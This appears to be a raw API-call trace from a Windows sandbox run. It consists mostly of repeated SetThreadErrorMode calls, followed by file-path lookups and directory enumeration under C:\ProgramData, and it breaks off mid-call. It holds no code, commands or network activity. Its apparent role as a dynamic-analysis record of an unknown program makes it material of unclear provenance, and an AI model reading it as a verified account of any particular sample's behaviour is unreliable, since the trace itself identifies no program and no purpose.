[0091.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0091.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0091.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0091.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0091.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0091.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0091.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0091.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0091.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0091.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0091.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0091.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0091.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0091.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0092.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0092.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0092.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0092.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0092.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0092.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0092.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0092.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0092.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0092.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0092.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0092.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0092.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0092.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0092.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0092.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0092.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0092.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0092.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0092.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0092.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0092.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0092.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0092.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0092.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0092.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0092.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0092.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0092.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0092.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0092.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0092.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0092.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0092.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0092.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0092.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0092.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0092.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0092.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0092.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0092.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0092.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0092.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0092.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0092.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0092.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0092.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0092.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0092.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0092.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0092.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0092.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0092.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0092.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0092.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0092.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0092.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0092.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0092.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0092.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0092.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0092.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0092.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0092.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0092.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0092.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0092.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0092.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0092.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0092.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0092.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0092.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0092.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0092.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0092.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0092.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0092.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0092.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0092.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0092.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0092.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0092.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0092.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0092.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0092.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0092.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0092.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0092.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0092.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0092.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0092.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0092.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0092.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0092.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0092.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0092.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0092.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0092.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0092.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0092.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0092.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe890) returned 1 [0092.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe88c) returned 1 [0092.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0092.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0092.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0092.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0092.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0092.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0092.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0092.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0092.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0092.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0092.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0092.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0092.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0092.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0092.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe890) returned 1 [0092.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe88c) returned 1 [0092.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0092.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0092.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0092.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0092.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0092.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0092.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0092.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0092.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0092.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0092.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0092.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0092.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0092.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0092.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0092.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0092.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0092.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0092.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0092.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0092.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.169] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Desktop", lpFilePart=0x0) returned 0x16 [0095.170] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Documents", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Documents", lpFilePart=0x0) returned 0x18 [0095.171] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0xffffffff [0095.172] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Favorites", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Favorites", lpFilePart=0x0) returned 0x18 [0095.172] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Favorites\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0xffffffff [0095.173] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Keyboard", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Keyboard", lpFilePart=0x0) returned 0x17 [0095.173] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Keyboard\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9318 [0095.173] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.173] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.173] FindNextFileW (in: hFindFile=0x6fe9318, 